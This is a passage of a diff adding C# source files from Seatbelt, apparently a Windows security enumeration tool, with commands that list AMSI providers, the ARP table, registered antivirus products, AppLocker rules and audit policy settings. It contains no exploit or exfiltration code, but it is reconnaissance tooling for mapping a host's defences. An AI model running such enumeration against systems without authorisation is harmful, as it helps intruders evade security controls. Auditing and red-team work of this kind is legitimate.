// If this class does not exist, Seatbelt will use the DefaultTextFormatter class
|
||||||
|
[CommandOutputType(typeof(TEMPLATEDTO))]
|
||||||
|
internal class TEMPLATEFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public TEMPLATEFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
// nothing goes here
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
// use the following function here if you want to write out to the cmdline. This data will not be serialized.
|
||||||
|
WriteLine("OUTPUT");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
|
@ -0,0 +1,30 @@
|
||||||
|
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
class VerboseDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public VerboseDTO(string message)
|
||||||
|
{
|
||||||
|
Message = message;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Message { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(VerboseDTO))]
|
||||||
|
internal class VerboseTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public VerboseTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase dto, bool filterResults)
|
||||||
|
{
|
||||||
|
//WriteLine("VERBOSE: " + ((VerboseDTO)dto).Message);
|
||||||
|
WriteLine(((VerboseDTO)dto).Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,29 @@
|
||||||
|
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
class WarningDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public WarningDTO(string message)
|
||||||
|
{
|
||||||
|
Message = message;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Message { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(WarningDTO))]
|
||||||
|
internal class WarningTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public WarningTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase dto, bool filterResults)
|
||||||
|
{
|
||||||
|
WriteLine("WARNING: " + ((WarningDTO)dto).Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,44 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class AMSIProviderCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "AMSIProviders";
|
||||||
|
public override string Description => "Providers registered for AMSI";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public AMSIProviderCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var providers = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\AMSI\Providers") ?? new string[] {};
|
||||||
|
foreach (var provider in providers)
|
||||||
|
{
|
||||||
|
var ProviderPath = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"SOFTWARE\\Classes\\CLSID\\{provider}\\InprocServer32", "");
|
||||||
|
|
||||||
|
yield return new AMSIProviderDTO(
|
||||||
|
provider,
|
||||||
|
ProviderPath
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class AMSIProviderDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public AMSIProviderDTO(string guid, string? providerPath)
|
||||||
|
{
|
||||||
|
GUID = guid;
|
||||||
|
ProviderPath = providerPath;
|
||||||
|
}
|
||||||
|
public string GUID { get; set; }
|
||||||
|
public string? ProviderPath { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,205 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Net.NetworkInformation;
|
||||||
|
using System.Net;
|
||||||
|
using System.Reflection;
|
||||||
|
using Seatbelt.Interop;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
class ArpEntry
|
||||||
|
{
|
||||||
|
public ArpEntry(string ipAddress, string physicalAddress, string entryType)
|
||||||
|
{
|
||||||
|
IpAddress = ipAddress;
|
||||||
|
PhysicalAddress = physicalAddress;
|
||||||
|
EntryType = entryType;
|
||||||
|
}
|
||||||
|
public string IpAddress { get; set; }
|
||||||
|
public string PhysicalAddress { get; set; }
|
||||||
|
public string EntryType { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ArpTableCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "ARPTable";
|
||||||
|
public override string Description => "Lists the current ARP table and adapter information (equivalent to arp -a)";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System };
|
||||||
|
public override bool SupportRemote => false; // not possible
|
||||||
|
|
||||||
|
public ArpTableCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// adapted from Fred's code at https://social.technet.microsoft.com/Forums/lync/en-US/e949b8d6-17ad-4afc-88cd-0019a3ac9df9/powershell-alternative-to-arp-a?forum=ITCG
|
||||||
|
|
||||||
|
var adapterIdToInterfaceMap = new SortedDictionary<uint, ArpTableDTO>();
|
||||||
|
|
||||||
|
// build a mapping of index -> interface information
|
||||||
|
foreach (var networkInterface in NetworkInterface.GetAllNetworkInterfaces())
|
||||||
|
{
|
||||||
|
BuildIndexToInterfaceMap(networkInterface, adapterIdToInterfaceMap);
|
||||||
|
}
|
||||||
|
|
||||||
|
var bytesNeeded = 0;
|
||||||
|
var result = Iphlpapi.GetIpNetTable(IntPtr.Zero, ref bytesNeeded, false);
|
||||||
|
|
||||||
|
if (result != Win32Error.InsufficientBuffer)
|
||||||
|
{
|
||||||
|
throw new Exception($"GetIpNetTable: Expected insufficient buffer but got {result}");
|
||||||
|
}
|
||||||
|
|
||||||
|
var buffer = Marshal.AllocCoTaskMem(bytesNeeded);
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
result = Iphlpapi.GetIpNetTable(buffer, ref bytesNeeded, false);
|
||||||
|
|
||||||
|
if (result != 0)
|
||||||
|
{
|
||||||
|
throw new Exception($"GetIpNetTable error: {result}");
|
||||||
|
}
|
||||||
|
|
||||||
|
// now we have the buffer, we have to marshal it. We can read the first 4 bytes to get the length of the buffer
|
||||||
|
var entries = Marshal.ReadInt32(buffer);
|
||||||
|
|
||||||
|
// increment the memory pointer by the size of the int
|
||||||
|
var currentBuffer = new IntPtr(buffer.ToInt64() + Marshal.SizeOf(typeof(int)));
|
||||||
|
|
||||||
|
// allocate a list of entries
|
||||||
|
var arpEntries = new List<Iphlpapi.MIB_IPNETROW>();
|
||||||
|
|
||||||
|
// cycle through the entries
|
||||||
|
for (var index = 0; index < entries; index++)
|
||||||
|
{
|
||||||
|
arpEntries.Add((Iphlpapi.MIB_IPNETROW)Marshal.PtrToStructure(
|
||||||
|
new IntPtr(currentBuffer.ToInt64() + (index * Marshal.SizeOf(typeof(Iphlpapi.MIB_IPNETROW)))),
|
||||||
|
typeof(Iphlpapi.MIB_IPNETROW)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// sort the list by interface index
|
||||||
|
var sortedArpEntries = arpEntries.OrderBy(o => o.dwIndex).ToList();
|
||||||
|
uint? currentAdapterIndex = null;
|
||||||
|
|
||||||
|
foreach (var arpEntry in sortedArpEntries)
|
||||||
|
{
|
||||||
|
var adapterIndex = (uint)arpEntry.dwIndex;
|
||||||
|
|
||||||
|
if (currentAdapterIndex != adapterIndex)
|
||||||
|
{
|
||||||
|
if (!adapterIdToInterfaceMap.ContainsKey(adapterIndex))
|
||||||
|
{
|
||||||
|
adapterIdToInterfaceMap[adapterIndex] = new ArpTableDTO(adapterIndex, "n/a", "n/a");
|
||||||
|
}
|
||||||
|
|
||||||
|
currentAdapterIndex = adapterIndex;
|
||||||
|
}
|
||||||
|
|
||||||
|
var ipAddress = new IPAddress(BitConverter.GetBytes(arpEntry.dwAddr));
|
||||||
|
var macBytes = new[]
|
||||||
|
{arpEntry.mac0, arpEntry.mac1, arpEntry.mac2, arpEntry.mac3, arpEntry.mac4, arpEntry.mac5};
|
||||||
|
var physicalAddress = BitConverter.ToString(macBytes);
|
||||||
|
var entryType = (Iphlpapi.ArpEntryType)arpEntry.dwType;
|
||||||
|
|
||||||
|
var entry = new ArpEntry(
|
||||||
|
ipAddress.ToString(),
|
||||||
|
physicalAddress,
|
||||||
|
entryType.ToString()
|
||||||
|
);
|
||||||
|
|
||||||
|
adapterIdToInterfaceMap[adapterIndex].Entries.Add(entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
if (buffer != IntPtr.Zero) Iphlpapi.FreeMibTable(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
foreach (var adapter in adapterIdToInterfaceMap)
|
||||||
|
{
|
||||||
|
yield return adapter.Value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void BuildIndexToInterfaceMap(NetworkInterface ni, SortedDictionary<uint, ArpTableDTO> adapters)
|
||||||
|
{
|
||||||
|
// We don't care about the loopback interface
|
||||||
|
// if (ni.NetworkInterfaceType == NetworkInterfaceType.Loopback) return;
|
||||||
|
|
||||||
|
var adapterProperties = ni.GetIPProperties();
|
||||||
|
if (adapterProperties == null) throw new Exception("Could not get adapter IP properties");
|
||||||
|
|
||||||
|
var index = (uint?)ni.GetType().GetField("index", BindingFlags.NonPublic | BindingFlags.Instance)?.GetValue(ni);
|
||||||
|
if(index == null) throw new Exception("Could not get interface index number");
|
||||||
|
|
||||||
|
var adapter = new ArpTableDTO(index.Value, ni.Name, ni.Description);
|
||||||
|
|
||||||
|
adapterProperties.UnicastAddresses
|
||||||
|
.ToList()
|
||||||
|
.ForEach(ip => adapter.InterfaceIPs.Add(ip.Address.ToString()));
|
||||||
|
|
||||||
|
adapterProperties.DnsAddresses
|
||||||
|
.ToList()
|
||||||
|
.ForEach(dns => adapter.DnsServers.Add(dns.ToString()));
|
||||||
|
|
||||||
|
adapters.Add(index.Value, adapter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class ArpTableDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public ArpTableDTO(uint index, string name, string description)
|
||||||
|
{
|
||||||
|
InterfaceIndex = index;
|
||||||
|
InterfaceName = name;
|
||||||
|
InterfaceDescription = description;
|
||||||
|
}
|
||||||
|
|
||||||
|
public uint InterfaceIndex { get; }
|
||||||
|
|
||||||
|
public string InterfaceName { get; }
|
||||||
|
public string InterfaceDescription { get; }
|
||||||
|
public List<string> InterfaceIPs { get; set; } = new List<string>();
|
||||||
|
public List<string> DnsServers { get; set; } = new List<string>();
|
||||||
|
public List<ArpEntry> Entries { get; set; } = new List<ArpEntry>();
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(ArpTableDTO))]
|
||||||
|
internal class ArpTableTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public ArpTableTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (ArpTableDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" {dto.InterfaceName} --- Index {dto.InterfaceIndex}");
|
||||||
|
WriteLine($" Interface Description : {dto.InterfaceDescription}");
|
||||||
|
WriteLine($" Interface IPs : {string.Join(", ", dto.InterfaceIPs.ToArray())}");
|
||||||
|
|
||||||
|
if (dto.DnsServers.Count > 0)
|
||||||
|
{
|
||||||
|
WriteLine($" DNS Servers : {string.Join(", ", dto.DnsServers.ToArray())}\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine(" Internet Address Physical Address Type");
|
||||||
|
|
||||||
|
foreach (var entry in dto.Entries)
|
||||||
|
{
|
||||||
|
WriteLine($" {entry.IpAddress,-22}{entry.PhysicalAddress,-22}{entry.EntryType}");
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,67 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Interop;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class AntiVirusCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "AntiVirus";
|
||||||
|
public override string Description => "Registered antivirus (via WMI)";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public AntiVirusCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
if (String.IsNullOrEmpty(ThisRunTime.ComputerName) && Shlwapi.IsWindowsServer())
|
||||||
|
{
|
||||||
|
WriteHost("Cannot enumerate antivirus. root\\SecurityCenter2 WMI namespace is not available on Windows Servers");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// lists installed VA products via WMI (the AntiVirusProduct class)
|
||||||
|
|
||||||
|
var AVResults = new List<AntiVirusDTO>();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct");
|
||||||
|
var data = wmiData.Get();
|
||||||
|
|
||||||
|
foreach (var virusChecker in data)
|
||||||
|
{
|
||||||
|
AVResults.Add(new AntiVirusDTO(
|
||||||
|
virusChecker["displayName"],
|
||||||
|
virusChecker["pathToSignedProductExe"],
|
||||||
|
virusChecker["pathToSignedReportingExe"]
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
foreach(var AVResult in AVResults)
|
||||||
|
{
|
||||||
|
yield return AVResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class AntiVirusDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public AntiVirusDTO(object engine, object productExe, object reportingExe)
|
||||||
|
{
|
||||||
|
Engine = engine;
|
||||||
|
ProductEXE = productExe;
|
||||||
|
ReportingEXE = reportingExe;
|
||||||
|
}
|
||||||
|
public object Engine { get; }
|
||||||
|
public object ProductEXE { get; }
|
||||||
|
public object ReportingEXE { get; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,149 @@
|
||||||
|
#nullable disable
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Management;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class AppLockerCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "AppLocker";
|
||||||
|
public override string Description => "AppLocker settings, if installed";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public AppLockerCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// ref - @_RastaMouse https://rastamouse.me/2018/09/enumerating-applocker-config/
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT Name, State FROM win32_service WHERE Name = 'AppIDSvc'");
|
||||||
|
var data = wmiData.Get();
|
||||||
|
|
||||||
|
string appIdSvcState = "Service not found";
|
||||||
|
|
||||||
|
var rules = new List<string>();
|
||||||
|
|
||||||
|
foreach (var o in data)
|
||||||
|
{
|
||||||
|
var result = (ManagementObject)o;
|
||||||
|
appIdSvcState = result["State"].ToString();
|
||||||
|
}
|
||||||
|
|
||||||
|
var keys = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft\\Windows\\SrpV2") ?? new string[] { };
|
||||||
|
|
||||||
|
if (keys != null && keys.Length != 0)
|
||||||
|
{
|
||||||
|
foreach (var key in keys)
|
||||||
|
{
|
||||||
|
var keyName = key;
|
||||||
|
var enforcementMode = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, $"Software\\Policies\\Microsoft\\Windows\\SrpV2\\{key}", "EnforcementMode");
|
||||||
|
var enforcementModeStr = enforcementMode switch
|
||||||
|
{
|
||||||
|
null => "not configured",
|
||||||
|
0 => "Audit Mode",
|
||||||
|
1 => "Enforce Mode",
|
||||||
|
_ => $"Unknown value {enforcementMode}"
|
||||||
|
};
|
||||||
|
|
||||||
|
var ids = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, "Software\\Policies\\Microsoft\\Windows\\SrpV2\\" + key);
|
||||||
|
|
||||||
|
foreach (var id in ids)
|
||||||
|
{
|
||||||
|
var rule = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"Software\\Policies\\Microsoft\\Windows\\SrpV2\\{key}\\{id}", "Value");
|
||||||
|
rules.Add(rule);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new AppLockerDTO(
|
||||||
|
configured: true,
|
||||||
|
appIdSvcState,
|
||||||
|
keyName,
|
||||||
|
enforcementModeStr,
|
||||||
|
rules
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
yield return new AppLockerDTO(
|
||||||
|
configured: false,
|
||||||
|
appIdSvcState,
|
||||||
|
keyName: null,
|
||||||
|
enforcementMode: null,
|
||||||
|
rules: null
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class AppLockerDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public AppLockerDTO(bool configured, string appIdSvcState, string? keyName, string? enforcementMode, List<string>? rules)
|
||||||
|
{
|
||||||
|
Configured = configured;
|
||||||
|
AppIdSvcState = appIdSvcState;
|
||||||
|
KeyName = keyName;
|
||||||
|
EnforcementMode = enforcementMode;
|
||||||
|
Rules = rules;
|
||||||
|
}
|
||||||
|
public bool Configured { get; }
|
||||||
|
|
||||||
|
public string AppIdSvcState { get; }
|
||||||
|
|
||||||
|
public string? KeyName { get; }
|
||||||
|
|
||||||
|
public string? EnforcementMode { get; }
|
||||||
|
|
||||||
|
public List<string>? Rules { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(AppLockerDTO))]
|
||||||
|
internal class AppLockerTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public AppLockerTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (AppLockerDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" [*] AppIDSvc service is {0}\n", dto.AppIdSvcState);
|
||||||
|
if (dto.AppIdSvcState != "Running")
|
||||||
|
WriteLine(" [*] Applocker is not running because the AppIDSvc is not running\n");
|
||||||
|
|
||||||
|
if (!dto.Configured)
|
||||||
|
{
|
||||||
|
WriteLine(" [*] AppLocker not configured");
|
||||||
|
}
|
||||||
|
else if (dto.EnforcementMode.Equals("not configured"))
|
||||||
|
{
|
||||||
|
WriteLine(" [*] {0} not configured", dto.KeyName);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteLine("\n [*] {0} is in {1}", dto.KeyName, dto.EnforcementMode);
|
||||||
|
|
||||||
|
if (dto.Rules.Count == 0)
|
||||||
|
{
|
||||||
|
WriteLine(" [*] No rules");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
foreach (var rule in dto.Rules)
|
||||||
|
{
|
||||||
|
WriteLine(" [*] {0}", rule);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,279 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
enum AuditType
|
||||||
|
{
|
||||||
|
Success = 1,
|
||||||
|
Failure = 2,
|
||||||
|
SuccessAndFailure = 3
|
||||||
|
}
|
||||||
|
|
||||||
|
class AuditEntry
|
||||||
|
{
|
||||||
|
public AuditEntry(string target, string subcategory, string subcategoryGuid, AuditType auditType)
|
||||||
|
{
|
||||||
|
Target = target;
|
||||||
|
Subcategory = subcategory;
|
||||||
|
SubcategoryGUID = subcategoryGuid;
|
||||||
|
AuditType = auditType;
|
||||||
|
}
|
||||||
|
public string Target { get; }
|
||||||
|
public string Subcategory { get; }
|
||||||
|
public string SubcategoryGUID { get; }
|
||||||
|
public AuditType AuditType { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class AuditPoliciesCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "AuditPolicies";
|
||||||
|
public override string Description => "Enumerates classic and advanced audit policy settings";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System};
|
||||||
|
public override bool SupportRemote => false; // TODO : remote conversion, need to implement searching for remote files
|
||||||
|
|
||||||
|
// reference - https://github.com/trustedsec/HoneyBadger/blob/master/modules/post/windows/gather/ts_get_policyinfo.rb
|
||||||
|
|
||||||
|
public AuditPoliciesCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var searchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\GroupPolicy\\DataStore\\0\\sysvol\\";
|
||||||
|
var sysnativeSearchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\Sysnative\\GroupPolicy\\DataStore\\0\\sysvol\\";
|
||||||
|
var files = FindFiles(searchPath, "audit.csv");
|
||||||
|
// var sysnativeFiles = FindFiles(sysnativeSearchPath, "audit.csv"); // TODO: Need to implement parsing of this
|
||||||
|
var classicFiles = FindFiles(searchPath, "GptTmpl.inf");
|
||||||
|
|
||||||
|
foreach (var classicFilePath in classicFiles)
|
||||||
|
{
|
||||||
|
var result = ParseGPOPath(classicFilePath);
|
||||||
|
var domain = result[0];
|
||||||
|
var gpo = result[1];
|
||||||
|
|
||||||
|
//ParseClassicPolicy
|
||||||
|
var sections = IniFileHelper.ReadSections(classicFilePath);
|
||||||
|
|
||||||
|
if (!sections.Contains("Event Audit"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var settings = ParseClassicPolicy(classicFilePath);
|
||||||
|
|
||||||
|
yield return new AuditPolicyGPO(
|
||||||
|
classicFilePath,
|
||||||
|
domain,
|
||||||
|
gpo,
|
||||||
|
"classic",
|
||||||
|
settings
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var filePath in files)
|
||||||
|
{
|
||||||
|
var result = ParseGPOPath(filePath);
|
||||||
|
var domain = result[0];
|
||||||
|
var gpo = result[1];
|
||||||
|
|
||||||
|
var settings = ParseAdvancedPolicy(filePath);
|
||||||
|
|
||||||
|
yield return new AuditPolicyGPO(
|
||||||
|
filePath,
|
||||||
|
domain,
|
||||||
|
gpo,
|
||||||
|
"advanced",
|
||||||
|
settings
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public string[] ParseGPOPath(string path)
|
||||||
|
{
|
||||||
|
// returns an array of the domain and GPO GUID from an audit.csv (or GptTmpl.inf) path
|
||||||
|
|
||||||
|
var searchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\System32\\GroupPolicy\\DataStore\\0\\sysvol\\";
|
||||||
|
var sysnativeSearchPath = $"{Environment.GetEnvironmentVariable("SystemRoot")}\\Sysnative\\GroupPolicy\\DataStore\\0\\sysvol\\";
|
||||||
|
|
||||||
|
if (Regex.IsMatch(path, "System32"))
|
||||||
|
{
|
||||||
|
var rest = path.Substring(searchPath.Length, path.Length - searchPath.Length);
|
||||||
|
var parts = rest.Split('\\');
|
||||||
|
string[] result = { parts[0], parts[2] };
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
var rest = path.Substring(sysnativeSearchPath.Length, path.Length - sysnativeSearchPath.Length);
|
||||||
|
var parts = rest.Split('\\');
|
||||||
|
string[] result = { parts[0], parts[2] };
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<AuditEntry> ParseClassicPolicy(string path)
|
||||||
|
{
|
||||||
|
// parses a "classic" auditing policy (GptTmpl.inf), returning a list of AuditEntries
|
||||||
|
|
||||||
|
var results = new List<AuditEntry>();
|
||||||
|
|
||||||
|
var settings = IniFileHelper.ReadKeyValuePairs("Event Audit", path);
|
||||||
|
foreach (var setting in settings)
|
||||||
|
{
|
||||||
|
var parts = setting.Split('=');
|
||||||
|
|
||||||
|
var result = new AuditEntry(
|
||||||
|
"",
|
||||||
|
parts[0],
|
||||||
|
"",
|
||||||
|
(AuditType)Int32.Parse(parts[1])
|
||||||
|
);
|
||||||
|
|
||||||
|
results.Add(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<AuditEntry> ParseAdvancedPolicy(string path)
|
||||||
|
{
|
||||||
|
// parses a "advanced" auditing policy (audit.csv), returning a list of AuditEntries
|
||||||
|
|
||||||
|
var results = new List<AuditEntry>();
|
||||||
|
|
||||||
|
using (var reader = new StreamReader(path))
|
||||||
|
{
|
||||||
|
while (!reader.EndOfStream)
|
||||||
|
{
|
||||||
|
var line = reader.ReadLine();
|
||||||
|
var values = line.Split(',');
|
||||||
|
|
||||||
|
if (values[0].Equals("Machine Name")) // skip the header
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// CSV lines:
|
||||||
|
// Machine Name,Policy Target,Subcategory,Subcategory GUID,Inclusion Setting,Exclusion Setting,Setting Value
|
||||||
|
|
||||||
|
string
|
||||||
|
target = values[1],
|
||||||
|
subcategory = values[2],
|
||||||
|
subcategoryGuid = values[3];
|
||||||
|
var auditType = (AuditType)int.Parse(values[6]);
|
||||||
|
|
||||||
|
results.Add(new AuditEntry(
|
||||||
|
target,
|
||||||
|
subcategory,
|
||||||
|
subcategoryGuid,
|
||||||
|
auditType
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<string> FindFiles(string path, string pattern)
|
||||||
|
{
|
||||||
|
// finds files matching one or more patterns under a given path, recursive
|
||||||
|
// adapted from http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/
|
||||||
|
// pattern: "*pass*;*.png;"
|
||||||
|
|
||||||
|
var files = new List<string>();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var filesUnfiltered = GetFiles(path).ToList();
|
||||||
|
|
||||||
|
files.AddRange(filesUnfiltered.Where(f => f.Contains(pattern.Trim('*'))));
|
||||||
|
}
|
||||||
|
catch (UnauthorizedAccessException) { }
|
||||||
|
catch (PathTooLongException) { }
|
||||||
|
|
||||||
|
return files;
|
||||||
|
}
|
||||||
|
|
||||||
|
// FROM: https://stackoverflow.com/a/929418
|
||||||
|
private static IEnumerable<string> GetFiles(string path)
|
||||||
|
{
|
||||||
|
var queue = new Queue<string>();
|
||||||
|
queue.Enqueue(path);
|
||||||
|
while (queue.Count > 0)
|
||||||
|
{
|
||||||
|
path = queue.Dequeue();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
